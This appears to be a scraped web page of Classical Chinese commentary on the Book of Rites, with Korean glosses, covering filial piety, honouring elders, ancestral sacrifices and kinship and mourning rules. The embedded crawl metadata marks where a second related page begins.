卽大孝尊親之事也라.\n[慶源輔氏曰孝子之心兢兢業業無一息或違無一物不體豈有非時害理之事博施則用勞不足言矣備物則用力不足言矣此聖人達孝之事也嘉(喜)故不忘懼故無怨柔行巽入期父母之順於理而不期父母之從乎我至於此則其誠至矣]\n[廬陵胡氏曰用力所謂竭力耕田共爲子職也懼而無怨孟子言舜怨慕何也曰小弁親之過大者也凱風親之過小者也親之過大而不怨是愈疏也親之過小而怨是不可磯也舜之怨慕孝也不逆所謂又敬不違父母旣沒雖貧困猶不取惡人物以祀親然則孟子之受禦可以祀歟曰其交也以道君子受之矣受之而以祀可也然孝子之心有所不安故必仁者之栗爲孝]\n[兢:삼갈긍,조심][愽:넓다,많다,넓이,폭][巽:동남간방손,遜通][凱:승전가개][愈:병나을유][禦:막을어]\n29. 樂正子春이 下堂而傷其足하고, 數[上聲]月을 不出하야 猶有憂色이어늘, 門弟子이 曰호대, 夫子之足이 瘳[抽]矣로대 數月을 不出하사 猶有憂色은 何也잇고? 樂正子春이 曰호대 善如 爾之問也여 善如 爾之問也여 吾는 聞諸曾子하고, 曾子는 聞諸夫子하시니, 曰하사대 天之所生과 地之所養에 無人爲大하니 父母이 全而生之어시든 子이 全而歸之라야 可謂孝矣요, 不虧其體하며 不辱其身이라사 可謂全矣니라. 故로 君子이 頃[跬]步而弗敢忘孝也하나니, 今予는 忘孝之道라. 予이 是以有憂色也호라. 壹擧足而不敢忘父母하며 壹出言而不敢忘父母니 壹擧足而不敢忘父母하며 是故로 道而不徑하며 舟而不游하야 不敢以先父母之遺體로 行殆하며 壹出言而不敢忘父母라. 是故로 惡言을 不出於口하며 忿言이 不反於身하나니 不辱其身하며 不羞其親이면 可謂孝矣니라.[88]\n[瘳:병나을추][抽:뺄추][頃:백이랑경,아까,잠깐경,쯤,요사이][跬:반결음규]\n無人爲大는 言無如人 最爲大이니 蓋天地之性에 人爲貴也라. 道는 正路也요, 徑은 捷出邪徑也라. 游는 徒涉也요, 惡言不出於口는 己不以惡言加人也요, 忿言不反於身則人自不以忿言復我也라. 如此則不辱身不羞親矣라.\n[長樂劉氏曰樂正子春可謂能改過者也失之于初而戒之于終焉唯人之身氣以體全德以性全者也體具而弗傷則氣無不全者也性存而弗拂則德無不備者也非禮不視聽言動不曰內全其德性而外全其氣體之道歟是可謂之弗忘其父母者也然則舍坦塗以由徑緩舟渡以游淵不愼其言不羞其辱者小人之事豈足以孝其親]\n[嚴陵方氏曰天之所生地之所養無人爲大者生養乎天地之間者人道最爲大孝經言天地之性人爲貴泰誓言惟人萬物之靈蓋大以言其道貴以言其性靈以言其德互相明耳父母全而生之謂生其形也子全而歸之謂歸於土也不虧其體所以全其形不辱其身所以全其德故曰可謂全矣壹擧足而不敢忘父母則念其親於動止之問也壹出言而不敢忘父母則念其親於語黙之際也道大而徑小故道而不徑舟安而游危故舟而不游則不敢以先父母之遺體行殆故也殆亦危也惡言不出於口者己之言也忿言不反於身者人之言也唯己之惡言不出於口故人之忿言不反於身也以忿言不反於身故不辱其身而身者親之枝也不辱其身故不羞其親]\n[馬氏曰身體髮膚不敢毁傷所以不虧其體立身揚名於後世所以不辱其身昔曾子啓手足之際然後釋淵氷之懼樂正子春門人也安得而不憂乎][坦:평탄할탄]\n30-1. 昔者에 有虞氏는 貴德而尙齒하시고, 夏后氏는 貴爵而尙齒하시고, 殷人은 貴富而尙齒하시고, 周人은 貴親而尙齒하시니, 虞夏殷周는 天下之盛王也이사대 未有遺年者하시니 年之貴乎天下이 久矣니 次乎事親也니라.[91]\n劉氏이 曰, 大舜이 貴以德化民하야 有天下이 如不與하시니 而民化之하야 幾於不知爵之爲貴矣라. 故,禹이 承之하사 以爵爲貴而使民知貴貴之道也나, 然,貴爵之弊이 其終也에 在上者이 過於亢而澤不及下라. 故,湯이 承之하사 以務富其民爲貴나 然富民之弊이 終也에 民各私其財而不知親親之道라. 故,武王承之하사 以親親爲貴하시니 所謂周之宗盟에 異姓으로 爲後是也라. 四代之治이 隨時救弊하야 所貴雖不同이나 而尙齒則同也요, 未有遺年齒而不尙者齒일새 居天下之達尊이 久矣라. 老吾老以及人之老라. 故,尊高年이 次於事親也나 然四者之所貴이 亦四代之所同은 記者이 但主自古尙齒爲言耳니 讀者이 不以辭害意可也라.\n[嚴陵方氏曰四代之所貴不同由救弊之政異也貴德之弊有至于忘君故夏后氏救之以貴爵蓋爵所以明貴賤故也貴爵之弊有至於忘功故殷人救之以貴富蓋富者所以務富其民也三者之弊有至於忘親故周人救之以貴親至於尙齒則未嘗易者以年之貴乎天下久矣次乎事親萬世而無弊故也]\n[慶源輔氏曰有德者必有爵有爵者必有富此虞夏殷之所貴如此至於周則又厚親以反本焉此其世變使然聖人因時定制有不得不然者也若夫年齒之尙行乎萬世而不可變者盖敬老慈幼人之性也四代之王不失其性而已卽四王之事而反求諸一心則知年之果不可遺次乎事親之義明矣]\n30-2. 是故로 朝廷에 同爵則尙齒하며 七十에 杖於朝하고 君問則席하며 八十에 不俟朝하고 君이 問則就之하나니 而弟達乎朝廷矣며,[93]\n古者에 視朝之禮에 君臣皆立할새 七十杖於朝는 據杖而立也라. 君問則席은 謂君若有問則爲之布席於堂하야 而使之坐也라. 不俟朝는 謂見君而揖之卽退하고, 不待朝事畢也라. 就之는 卽其家也라.\n[嚴陵方氏曰爵同故以齒爲上爾爵異則以爵爲上也孟子曰朝廷莫如爵鄕黨莫如齒蓋朝廷雖以爵爲上然未嘗廢齒此所言者是也鄕黨雖以齒爲上然亦未嘗廢爵則後言三命而不齒者是也要之朝廷以爵爲主鄕黨以齒爲主故孟子以爲莫如也就謂就其家而不敢召也凡此皆朝廷禮敬之事故曰弟達乎朝廷矣]\n30-3. 行에 肩而不倂[步頂反]하고, 不錯則隨하며, 見老者어든 則車徒이 辟[避]하며, 斑白者이 不以其任으로 行乎道路하나니, 而弟達乎道路矣며,[94]\n此는 言少者與長者同行之禮라. 倂은 竝也라. 肩而不倂은 謂少者不可以肩齊竝長者之肩이요, 當差退在後也라. 不錯則隨는 謂此長者이 若是兄之輩則爲雁行之差錯하야 稍偏而後之하고, 若是父之輩則直隨從其後矣라. 車徒辟는 言或乘車或徒行이 皆當避之也라. 任은 所負戴之物也니 不以任行道路는 卽孟子頒白者,不負戴於道路矣라.\n[倂:나란히할병,다투다,물리치다,아우르다][竝:아우르다(倂),견주다(比)다(皆),붙들다(相扶),함께(偕)][錯:섞일착,버무리다.갈마들다,그만둘조,둘조,행할조][頒:나눌반,구분하다,반포하다,나누어주다]\n[嚴陵方氏曰車以言其貴徒以言其賤言見老者則貴賤無不避也班白者不以任行道路所謂斑白者不提挈也凡此皆道路禮順之事故曰弟違乎道路][斑:얼룩,아롱지다][挈거느릴설,이끌다.이루다.손에들다,휴대]\n30-4. 居鄕에 以齒하며, 而老窮이 不遺하며, 强不犯弱하며, 衆不暴寡하니 而弟達乎州巷矣며,[96]\n遺는 棄也라. ○鄭氏이 曰, 一鄕者는 五州요, 巷은 猶閭也라.\n[嚴陵方氏曰若耆耋艾耄之類所謂老若鰥寡孤獨之類所謂窮不遺謂養之有政也强弱以力言衆寡以數言凡此皆州巷禮順之事故曰弟達乎州巷][耋:80살질][艾:쑥애,늙은이(耆),벨예][耄:90살모]\n[石林葉氏曰先之則不錯不錯則隨敬之則車徒避愛之則斑白不以任此弟所以達乎道路强以力言衆以人言老而窮者猶所不棄則寡弱者固不患於無告此弟所以達乎州巷]\n30-5. 古之道는 五十에는 不爲甸徒하며 頒禽호대 隆諸長者하나니 而弟達乎獀[蒐]狩矣며,[96] [獀:봄가을사냥수,가리다,선택하다][蒐:꼭두서니수,모을수][狩:(겨울)사냥수]\n四井이 爲邑이요, 四邑爲丘요, 四丘爲甸이니, 君이 田獵則起其民爲卒徒라. 故,曰 甸徒라. 五十始衰라. 故,不供此役也라. 頒은 猶分也라. 隆은 猶多也라. 田畢分禽則長者受賜多於少者라. 春獵爲獀요, 冬獵爲狩니, 擧此則夏秋를 可知라.\n30-6. 軍旅什五에 同爵則尙齒하나니, 而弟達乎軍旅矣니라.[97] [什:열사람십]\n五人이 爲伍요, 二伍爲什이라.\n[石林葉氏曰軍旅什伍所致者勇而爵同者猶尙以齒所謂軍旅有禮則武功成也]\n30-7. 孝弟發諸朝廷하야 行乎道路하며, 至乎州巷하며, 放[上聲]乎獀狩하며, 修乎軍旅라. 衆이 以義死之하야 而弗敢犯也니라.[97]\n自朝廷至軍旅에 其人이 可謂衆矣나, 然,皆以通達孝弟之義하야 死於孝弟而不敢干犯也라.\n[嚴陵方氏曰先朝延而後道路自內而之外也先道路而後州巷行乎大又盡乎小也獀狩軍旅則又以有事之時言之朝廷者政之所出故言發道路者人之所由故言行州巷則委曲而有所盡故曰至獀狩則馳聘而有所從故曰放軍旅則嚴飭而有所治故曰修合而言之皆所以達之而已衆死乎孝弟之義而弗敢犯之也]\n31. 祀乎明堂은 所以敎諸侯之孝也요, 食[嗣]三老五更於大[泰]學은 所以敎諸侯之弟也요, 祀先賢於西學은 所以敎諸侯之德也요, 耕藉은 所以敎諸侯之養[去聲]也요, 朝覲은 所以敎諸侯之臣也니, 五者는 天下之大敎也라.[98]\n西學은 西郊之學이니 周之小學也라. 王制에 云, 虞庠이 在國之西郊라 하니 是也라.\n○方氏이 曰,先賢則樂祖이 是也요, 西學則瞽宗이 是也라. 樂祖는 有道德者라. 故,曰敎諸侯之德이요. 耕藉은 所以事神致養之道라. 故,曰敎諸侯之養이요, 朝覲은 所以尊天子라. 故,曰敎諸侯之臣이라. 樂記에 先朝覲而後耕藉者는 武王이 初有天下하사 君臣之分을 辨之不可不早也라.\n[延平周氏曰先王之於敎豈必諄諄而命之也哉蓋行禮於此而人得於彼而不知者乃敎之至也故五者天下之大敎而其所以爲敎者如此而已矣五者以德爲主養者孝之屬臣者弟之屬故其序如此]\n32. 食三老五更於大學할새 天子이 袒而割牲하시며, 執醬而饋하시며, 執爵而酳[以刃反]하시며, 冕而揔干하시나니 所以敎諸侯之弟也라. 是故로 鄕里有齒하야 而老窮이 不遺하며, 强不犯弱하며, 衆不暴寡하나니, 此는 由大學來者也니라.[99]\n[酳:술로입헹굴인,안주인][揔:다총,합할총,모을총,묶을총 우두머리]\n袒而割牲者는 袒衣而割制牲體爲俎實也라. 饋는 進食也요, 酳는 食畢而以酒虛口也라. 總干은 總持干盾하야 以立於舞位也라. 鄕里有齒는 言人皆知長少之序也라.\n33. 天子이 設四學하시나니 當入學하사 而大[泰]子이 齒하시니라.[100]\n四學은 虞夏殷周四代之學也라. 大子齒는 謂大子與同學者로 序長幼之位하고, 不以貴加人也라.\n[嚴陵方氏曰由大學來者言敎化之原出自大學也四學謂周設四代之學卽有虞氏之庠夏后氏之序殷之瞽宗周之辟雍是矣]\n34. 天子이 巡守[去聲]이어시든 諸侯이 待於竟[境]하나니, 天子이 先見百年者하시며, 八十九十者는 東行이어든 西行者이 弗敢過하고, 西行이어든 東行者이 弗敢過하며, 欲言政者는 君이 就之可也니라.[101]\n應氏이 曰,彼向東,此向西,彼西行,此趨東,是相違而不相值나, 然,必駐行反迂謁而見之하고, 不敢超越徑過也라.\n35. 壹命은 齒于鄕里하고, 再命은 齒于族하고, 三命은 不齒니라. 族有七十者이어든 弗敢先하며, 七十者이 不有大故이어든 不入朝하며, 若有大故而入이어든 君이 必與之揖讓而後에사 及爵者니라.[101]\n方氏이 曰, 一命齒于鄕里는 非其鄕里則以爵而不以齒를 可知요, 再命齒于族은 非其族則以爵而不以齒를 亦可知요, 三命不齒는 雖於其族이라도 亦不得而齒之矣則鄕里를 又可知나, 然此特貴貴之義耳라. 至於老老之仁을 又不可得而廢焉이라. 故,族有七十者이어든 弗敢先也니, 先은 謂鄕飮之席에 待七十者先入而後入也라. 君與之揖讓而後及爵者는 豈族之三命得以先之乎아? 五州이 爲鄕이요, 五隣이 爲里요, 於遠에 擧鄕則近至於五比之閭를 可知요, 於近에 擧里則遠達於五縣之遂를 可知라. 六鄕六遂에 足以互見也라. 此言族은 周官所謂父族也니, 蓋有天下者란 謂之王族하고, 有國者란 謂之公族하고, 有家者則謂之官族하고, 以傳世言之則曰世族하고, 以主祭言之則曰宗族이라.\n[石林葉氏曰三命不齒貴貴也七十者不敢先長長也先王之道竝行而不相悖者如此]\n36. 天子이 有善이어시든 讓德於天하시고, 諸侯이 有善이어든 歸諸天子하고, 卿大夫有善이어든 薦於諸侯하고, 士庶人이 有善이어든 本諸父母하며 存諸長老하나니, 祿爵慶賞을 成諸宗廟는 所以示順也니라.[103]\n成諸宗廟는 言於宗廟中에 命之也니 詳在祭統十倫章이라.\n[嚴陵方氏曰善者人之所欲惡者人之所惡於人之所欲而能推原於彼此善所以日進於人之所惡而能自反於此此惡所以日消古之君子能全其德用此道而已天子受命於天者也故有善則讓德於天諸侯受命於天子者也故有善則歸諸天子卿大夫受命於諸侯者也故有善則薦於諸侯士庶人旣卑且賤故有善焉內則本諸父母外則存諸長老而已祿則施之及賤爵則制之以貴慶所以爲禮賞所以爲利成諸宗廟者謂必卽諸宗廟中然後得以成其事也祭統曰古者明君爵有德而祿有功必賜爵祿於太廟示不敢專也其曰所以示順則示順之義盡於此矣]\n[延平周氏曰天子有善讓於天則諸侯有善歸諸天子諸侯有善歸諸天子則卿大夫有善薦於諸侯有是天子諸侯則士庶人有善所以本諸父母存諸長老蓋上之人不有於我故其化然也]\n37. 昔者聖人이 建陰陽天地之情하사 立以爲易하시니, 易이 抱龜南面이어든 天子이 卷[袞]冕北面하사, 雖有明知[거성]之心하시나 必進斷其志焉은 示不敢專하사 以尊天也라. 善則稱人하고 過則稱己는 敎不伐하사 以尊賢也라.[104]\n方氏이 曰, 明吉凶之象者이 莫如易하고, 示吉凶之象者이 莫如龜라. 南則明而有所示之方也라. 故,易抱龜南面焉이라. 天子이 北面則以臣禮로 自處而致其尊也니, 南面은 內也요, 北面은 外也라. 自外至內를 謂之進이니, 故,曰進斷其志라.\n應氏이 曰, 易은 書也요, 抱龜者는 人也니, 不曰掌易之人而直以爲易者는, 蓋明以示天下者는 易也라. 易之道不可屈이라. 故,不於北而於南하고, 明此以北面者는 臣也니, 臣之位이 不可踰라. 故,不曰人而曰易하니, 蓋有深意焉이라.\n石梁王氏이 曰, 此說卜者之位이 與儀禮不合하니, 亦近於張大之辭라.\n劉氏이 曰, 易이 代天地鬼神하야 以吉凶告天子라. 故,南面을 如祭祀之尸代神之尊也라. 天子이 北面問卜以斷其志는 蓋尊天事神之禮也라.\n[嚴陵方氏曰陰陽天地莫不有情必待聖人建之然後能有所立焉然易無體也體之於言則其書謂之易體之於人則其官謂之易故曰立以爲易明吉凶之象者莫如易示吉凶之象者莫如龜有自知之明而又有知人之知則其事固可以無疑矣然猶斷之以龜者以吉凶悔吝生乎動故也前言建陰陽天地之情而後止言尊天者蓋一陰一陽之謂道而道則出於天而已故後言尊天以該之稱己之過所以敎不伐稱人之善所以敎尊賢伐與矜伐之伐同字有其善而矜之祇所以自傷其善故也][悔:뉘우칠회][吝:아낄린,인색][該:갖출해,그해]\n[延平周氏曰聖人無非事亦無非敎以天子之尊卷冕北面而聽於卜非時斷其一時之事而已又將示人之不敢專而且以尊乎天也]\n[石林葉氏曰陰陽天地之情不可見其可見者易與龜也故曰物生而後有象象而後有滋滋而後有數龜則象而易則數也斷其志則謀於己進而詔以吉凶則謀於鬼神而天道所以尊也過者人所畏善稱人則能尊人過稱己則能卑己非有志於仁者不能及之此其敎不伐以尊賢也伐者自有其善以害於己則不足以爲賢舜稱禹之賢亦曰不矜不伐]\n38. 孝子이 將祭祀할새 必有齊莊之心하야 以慮事하고 以具服物하며, 以修宮室하며, 以治百事하고, 及祭之日하야 顔色을 必溫하며, 行必恐하야 如懼不及愛然하며, 其奠之也에 容貌를 必溫하며, 身必詘[屈]하야 如語焉而未之然하며, 宿者이 皆出이어든 其立이 卑靜以正하야 如將弗見然하며, 及祭之後하야 陶陶[如字]遂遂하야 如將復入然하나니, 是故로 慤善이 不違身하며, 耳目이 不違心하며, 思[去聲]慮이 不違親하야 結諸心하야 形諸色하야 而術省[息井反]之하나니, 孝子之志也라.[107]\n慤善不違身은 周旋升降이 無非敬也라. 耳目不違心은 所聞所見이 不得以亂其心之所存也라. 結者는 不可解之意라. 術은 與述同하니 述省은 猶循省也니 謂每事를 思省이라.\n方氏이 曰, 於其來也,如懼不及愛然하고, 及旣來也에 又如語而未之然하고, 於其往也에 如將弗見然하고, 及旣往也에 又如將復入然則是孝子之思其親이 無物足以慊其心이요, 無時可以絶其念이라. 如懼不及愛然은 卽前經所謂致愛則存이 是矣요, 如語而而未之然은 卽所謂如親聽命이 是矣요, 如將弗見然은 卽所謂如將失之是矣요, 如將復入然은 卽所謂又從而思之이 是矣요, 愛者는 愛其親也니 懼不及愛者는 懼愛親之心이 有所未至也라. 語者親之語也니 語而未之然은 如親欲有所語而未發也라. 陶陶는 言思親之心存乎內요, 遂遂는 言思親之心達乎外라. 祭後猶如此者는 以其如將復入故也라.[慊:앙심먹을겸][慤:삼갈각,성실각.愨의俗字]\n[石林葉氏曰顔色溫者有愉色也容貌溫者有婉容也卑靜以正者有深思也蓋有愉色則若將及之故行必恐有婉容則若將聽之故身必詘有深思則若將見之故立必正陶陶者其氣和也遂遂者其志得也慤善於內而言不違身者以其有應於外耳目在外而言不違心者以其有主於內內外定而後爲愛親之至此其序所以與前相反也謹是三者而固守之則曰結發是三者於色則曰形察是三者不失其行則曰術此先王所謂孝也]\n39. 建國之神位호대 右社稷而左宗廟니라.[110]\n方氏이 曰, 神無方也니 無方則無位라. 所謂神位者는 亦人位之耳라. 故,以建言之하니, 建之면 斯有矣라. 王氏이 謂右는 陰也니 地道所尊이라. 故,右社稷하고, 左는 陽也의 人道之所鄕이라. 故,左宗廟라. 位宗廟於人道所鄕은 亦不死其親之意라.\n[長樂陳氏曰周官小宗伯禮記祭義皆曰建國之神位右社稷左宗廟考工記匠人營國左祖右社蓋宗廟陽也故居左社稷陰也故居右陰故社稷皆北嚮陽故宗廟皆南嚮君祭社南嚮於北牖下而薄社亦北牖則社稷北嚮可知廟所以象王之朝而朝必南面則廟皆南嚮可知廟皆南嚮而昭南面穆北面者禘祫之位也]\n[禘祫:조상의 영혼을 합하여 제사 지내는 것][昭南面穆北面者禘祫之位=처음 알게 된 것]","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/24-je-uy.htm","date":"2018-07-23T15:51:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676596542.97\/warc\/CC-MAIN-20180723145409-20180723165409-00051.warc.gz","language":"lzh","language_score":0.3980028331,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.39800283312797546, \"kor_Hang_score\": 0.3327142000198364, \"cmn_Hani_score\": 0.20731663703918457, \"jpn_Jpan_score\": 0.04727811738848686}","num_words":2238,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"01. 禮에 不王이면 不禘니 王者이 禘其祖之所自出하사 以其祖로 配之하시나니라.[207]\n方氏이 曰, 此禘也는 以其非四時之常祀라. 故,謂之間祀요, 以其及祖之所自出이라. 故,謂之追享이요, 以其比常祭에 爲特大라. 故,謂之大祭요, 以其猶事生之有享焉이라. 故,謂之肆獻祼이니 名雖不同이나 通謂之禘也이니라.\n[朱子曰禘之意最深長如祖考與自家身心未相遼絶祭祀之理亦自易理會至如郊天祀地猶有天地之顯然者不敢不盡其心至祭其始祖己自大段闊遠難盡其感格之道今又推其始祖之所自出而祀之茍非察理之精微誠意之極至安能與於此哉]\n○長樂陳氏曰祀先之禮自禰而祖自祖而推之以及始祖其禮已備矣而禘之祭又推始祖之所自出而以祖配之也夫報本追遠而至於及其祖之所自出是其用意甚深而非淺近之思也然此豈私意常情之所可及哉根於天性之自然者謂之仁形於人心之至愛者謂之孝眞一無妄者謂之誠主一無適者謂之敬凡爲祭者皆然交於神明者愈遠則其心愈篤報本追遠之深則非仁孝誠敬之至者莫能行也此或問禘之說夫子以不知答之謂知其說者之於天下如示諸掌蓋以報本追遠之深而盡其仁孝誠敬之至積其念慮精神之極一至於此則卽此心而充之事物之理何所不明吾心之誠何所不格其於治天下之道豈不甚明而甚易哉]\n02. 諸侯는 及其太祖하시고, 大夫士는 有大事이어든 省於其君하야 干祫이 及其高祖니라.[209]\n上文에 言諸侯이 不得行禘禮하니 此는 言諸侯以下이 有祫祭之禮하니 二昭二穆과 與太祖而五者는 諸侯之廟也라. 諸侯之祫은 固及其太祖矣라. 大事는 謂祫祭也라. 大夫는 三廟요, 士는 二廟이니 一廟는 不敢私自擧行하야 必省問於君이 而君賜之라야 乃得行焉而其祫也이 亦上及於高祖이니라. 干者는 自下干上之義니 以卑者而行尊者之禮라. 故,謂之干祫이니 禮說이 見王制하다.\n03. 牧之野는 武王之大事也라. 旣事而退하사 柴於上帝하시며 祈於社하시며 設奠於牧室하시고 遂率天下諸侯하사 執豆籩하야 逡奔走하야 追王[去聲]大王亶父와 王季歷과 文王昌하시니 不以卑로 臨尊也라.[210]\n旣事는 殺紂之後也요, 燔柴以告天하고 陳祭以告社하고 奠告行主於牧野之館室然後에 率諸侯하야 以祭告祖廟라. 逡은 疾也라. 追加先公以天子之號者는 蓋爲不可以諸侯之卑號로 臨天下之尊也라.\n○ 石梁王氏이 曰, 周頌에 作駿하니 以此章으로 參之커댄 書武城及中庸이 有不同者하니 先儒言文王이 已備禮亶父季歷하니 克商後에 但尊稱其號요, 若王者禮制는 至周公이 相成王而後에 備也라.\n[嚴陵方氏曰爾雅言邑外曰郊郊外曰牧牧外曰野. 書言王朝至于殷郊牧野此又言牧之野則武王之事乃在於殷邑之外而已. 國之大事在祀與戎 故曰牧之野武王之大事也 柴者升其氣祈者求以事奠者薦以物天下諸侯執豆籩逡奔走則各以其職來祭故也 執豆籩以見四時之和氣逡奔走以見四表之歡心所謂古公也季歷也西伯也皆當時之所稱也大王也王季也文王也乃後來之所追也 且祖禰爲侯子孫爲王則是以卑臨尊也故追王之者不敢以子孫之卑而臨祖禰之尊故曰不以卑臨尊也] [逡:뒷걸음질친준,머뭇거릴준]\n04. 上治祖禰는 尊尊也요, 下治子孫은 親親也니 旁治昆弟하야 合族以食하며 序以昭繆[穆]하야 別之以禮義면 人道竭矣라.[212]\n治理而正之也니 謂以禮義로 理正其恩之隆殺와 屬之戚疏也라. 合會族人以飮食之禮하고 次序族人以昭穆之位하야 上治下治旁治之道이 皆有禮義之別則人倫之道이 竭盡於此矣라.\n[馬氏曰上治祖禰所以尊之也下治子孫所以親之也至於旁治昆弟盖睦友之道而不言之者文之略也上治祖禰則上有所殺下治子孫則下有所殺旁治昆弟則旁有所殺上殺下殺旁殺而親畢矣故合族以食使之有所同而內外之意一序以昭穆別以禮義使之有所異而親疎之義明如此則人道爲盡於此矣]\n05. 聖人이 南面而聽天下에 所宜先者이 五요, 民不與[去聲]焉하니 一曰治親이요, 二曰報功이요, 三曰擧賢이요, 四曰使能이요, 五曰存愛니, 五者이 一得於天下면 民이 無不足無하며 無不贍者요, 五者에 一物이 紕[篇夷反]繆이면 民이 莫得其死니 聖人이 南面而治天下이 必自人道始矣라.[213]\n民不與焉은 謂未及治民也라. 治親은 卽上治下治旁治也라. 君使臣以禮라. 故,功曰 報요, 行成而上이라. 故,賢曰 擧요, 藝成而下라. 故,能曰 使라. 存은 察也라. 人이 於其所親愛而辟焉이라도 有以察之則所愛者이 一出於公而四者이 皆無私意之累矣라. 一得은 猶皆得也요, 贍은 賙也요, 物은 事也요, 紕繆는 舛戾也民莫得其死는 言此五事之得失關國家之治亂也人道申言上文之意라.\n[嚴陵方氏曰所先者五言未暇致其詳也民不與焉非不以民爲事茍能行此五者民亦從而治矣故後言民無不足無不贍者夫正之以善之謂治予其所施之謂報升之於位之謂擧任之以職之謂使念之而不忘之謂存而愛則人之所不可忘者也聖人治天下必自人道始盖以治親爲先故也始言聽天下終言治天下者盖事之來也聽其可否而後治之使正焉故言之序如此]\n[賙:기민먹일주][紕삭은비단비,가꾸밀비,옷선,그릇되다][繆얽을무,틀리다.사당목목맬규,두를료][舛:어그러질천][戾어그러질려]\n06-1. 立權度量하며 考文章하며 改正朔하며 易服色하며 殊徽號하며 異器械하며 別衣服은 此其所得與民變革者也라.[214]\n權은 稱錘요, 度는 丈尺이요, 量은 斗斛也요, 文章은 典籍也라. 正者는 年之始요, 朔者는 月之初라. 服之色은 隨所尙而變易이라. 徽旌旗之屬이니 徽之號는 亦隨所尙而殊異니 如殷之大白과 周之大赤之類也라. 器者는 禮樂之器요, 械者는 軍旅之器라. 衣服이 各有章采호대 時王因革이 不同이니 此七者는 以立考改易殊異別로 爲言하니 是는 與民變革者也라.\n[長樂陳氏曰權度量者法制之所自出故先立之衣服者法制之所自成故後別之論語言爲政之術則先之以謹權量而王制巡守之所觀則終之以衣服皆此意也衣服言其制服色言其色而徽號者旌旗之所稱號以異其名者也又曰宜革而因物失其均宜因而革物失其則故得於天者可因而不可革則親親尊尊長長男女有別是也成於人者可革而不可因則立權度量考文章改正朔易服色殊徽號異器械別衣服是也立權度量所以示民信改正朔所以授民時考文章別衣服所以示民禮易服色殊徽號異器械所以便民用盖聖人立法因民而已民之所安聖人不强去民之所厭聖人不强存通其變使民不倦天下其有敝法哉][錘:저울추,8銖][斛:열말곡][敝:무너질패,버릴패,해지다]\n06-2. 其不可得變革者則有矣니 親親也와 尊尊也와 長長也와 男女이 有別이니 此其不可得與民變革者也라.[216]\n此는 天地之常經이라. 故,不可變革이라.\n[慶源輔氏曰親親仁也尊尊長長義也男女有別禮也知者知此者也信者信此者也其不得而變革者經也]\n07-1. 同姓은 從宗하야 合族屬하고, 異姓은 主名하야 治際會니 名著而男女이 有別이니라.[216]\n同姓은 父族也요, 從宗은 從大宗小宗也라. 合聚其族之親屬則無離散陵犯之事라. 異姓은 他姓之女이 來歸者也라. 禮莫大於分이요, 分莫大於名이니,卑者이 爲婦이니 尊者이 爲母이니 以婦與母之名으로 治昏姻交際會合之事하야 名分이 顯著하고 尊卑이 有等然後에 男女이 有別而無淫亂賊逆之禍也니라.\n[東萊呂氏曰名著而男女有別大抵婦人尊卑本無定位隨其夫之尊卑爾故所主者在名]\n07-2. 其夫이 屬[燭]乎父道者는 妻는 皆母道也요, 其夫이 屬乎子道者는 妻皆婦道也니 謂弟之妻를 婦者인댄 是嫂를 亦可謂之母乎아? 名者는 人治之大者也니 可無愼乎아?.[217]\n屬은 聮也라. 父之兄弟爲伯叔父則其妻를 謂之伯叔母요, 兄弟之子이 爲從子則其妻謂之婦니 此於昭穆에 爲宜라. 弟之妻를 不可謂之爲婦니 猶兄之妻를 不可謂之爲母하야 以紊昭穆也라. 故,云 謂弟之妻를 婦者인댄 是嫂를 亦可謂之母乎아? 言皆不可也라. 舊說에 弟妻는 可婦요, 嫂는 不可母라하니 失其指矣니라.\n[長樂陳氏曰母婦無昭穆而昭穆係於父子之別嫂婦無長幼而長幼係於兄弟之倫故婦於世叔父母則大功世叔於婦亦大功以其相遠而親之也兄公與叔於嫂婦無服嫂婦於兄公與叔亦無服以其相邇而遠之也]\n[○山陰陸氏曰孔子曰必也正名乎是也若子路者猶以爲迂故曰可不愼乎]\n[邇:가까울이.遐:멀하][迂:멀우,굽다.피하다]\n08. 四世而緦는 服之窮也요, 五世袒免[問]은 殺[色介反]同姓也니 六世엔 親屬이 竭矣라. 其庶姓이 別[彼列友]於上하고 而戚이 單[丹]於下하면 昏姻을 可以通乎아?[218]\n四世는 高祖也니 同高祖者이 服緦麻하니 服盡於此矣라. 故,云.服之窮也라. 五世이 袒免은 謂共承高祖之父者이 相爲袒免而已니 是減殺同姓也라. 六世則共承高祖之祖者니 竝袒免亦無矣라. 故,曰 親屬이 竭也라. 上은 指高祖以上也라. 姓爲正姓이요, 氏爲庶姓이라. 故,魯는 姬姓而三家이 各自爲氏하고, 春秋諸國이 皆然하니, 是는 庶姓이 別異於上世也라. 戚은 親也요, 單은 盡也라. 四從兄弟이 恩親이 已盡하야 各自爲宗하니 是는 戚單於下也라. 殷人이 五世以後則 相與通昏이라. 故,記者이 設問 云, 今雖周世나 昏姻을 可以通乎아?\n[嚴陵方氏曰四世者三從之親也以其疏而不足於哀也致其思而已故服謂之緦焉五世者三從之外也以其尤疏但不襲不冠以變其吉爾故謂之袒免焉六世雖不變吉可也]\n09. 繫之以姓而弗別하며 綴[株衛反]之以食[嗣]而弗殊라, 雖百世而昏姻을 不通者는 周道이 然也라.[220]\n周禮에 大宗은 百世不遷하고, 庶姓은 雖別而有本姓하니 世繫以聨繫之하야 不可分別也요, 又連綴族人以飮食之禮하야 不殊異也니 雖百世之遠이라도 無通昏之事허나 此는 周道所以爲至而人始異於禽獸者也라. 此是答上文設問之辭라.\n[長樂陳氏曰恩出於情有時而可絶義出於理無時而可廢故六世而親屬竭者恩之可絶也百世而昏姻不通者義之不可廢也然恩之有絶其來尙矣而義之不廢特始於周故舜娶於堯而君子不以爲非禮昭公娶於吳而君子以爲不知禮以其時之文質不同故也]\n10-1. 服術이 有六하니 一曰親親이요, 二曰尊尊이요, 三曰名이요, 四曰出入이요, 五曰長幼요, 六曰從服이니라.[221]\n疏曰 親親者는 父母이 爲首요, 次는 妻子伯叔이라. 尊尊者는 君이 爲首요, 次는 公卿大夫라. 名者는 若伯叔母及子婦弟婦兄嫂之屬이라. 出入者는 女이 在室爲入이요, 適人爲出及爲人後者라. 長幼者는 長謂成人이요, 幼謂諸殤이라.從服者는 下文六等이 是也라.\n10-2. 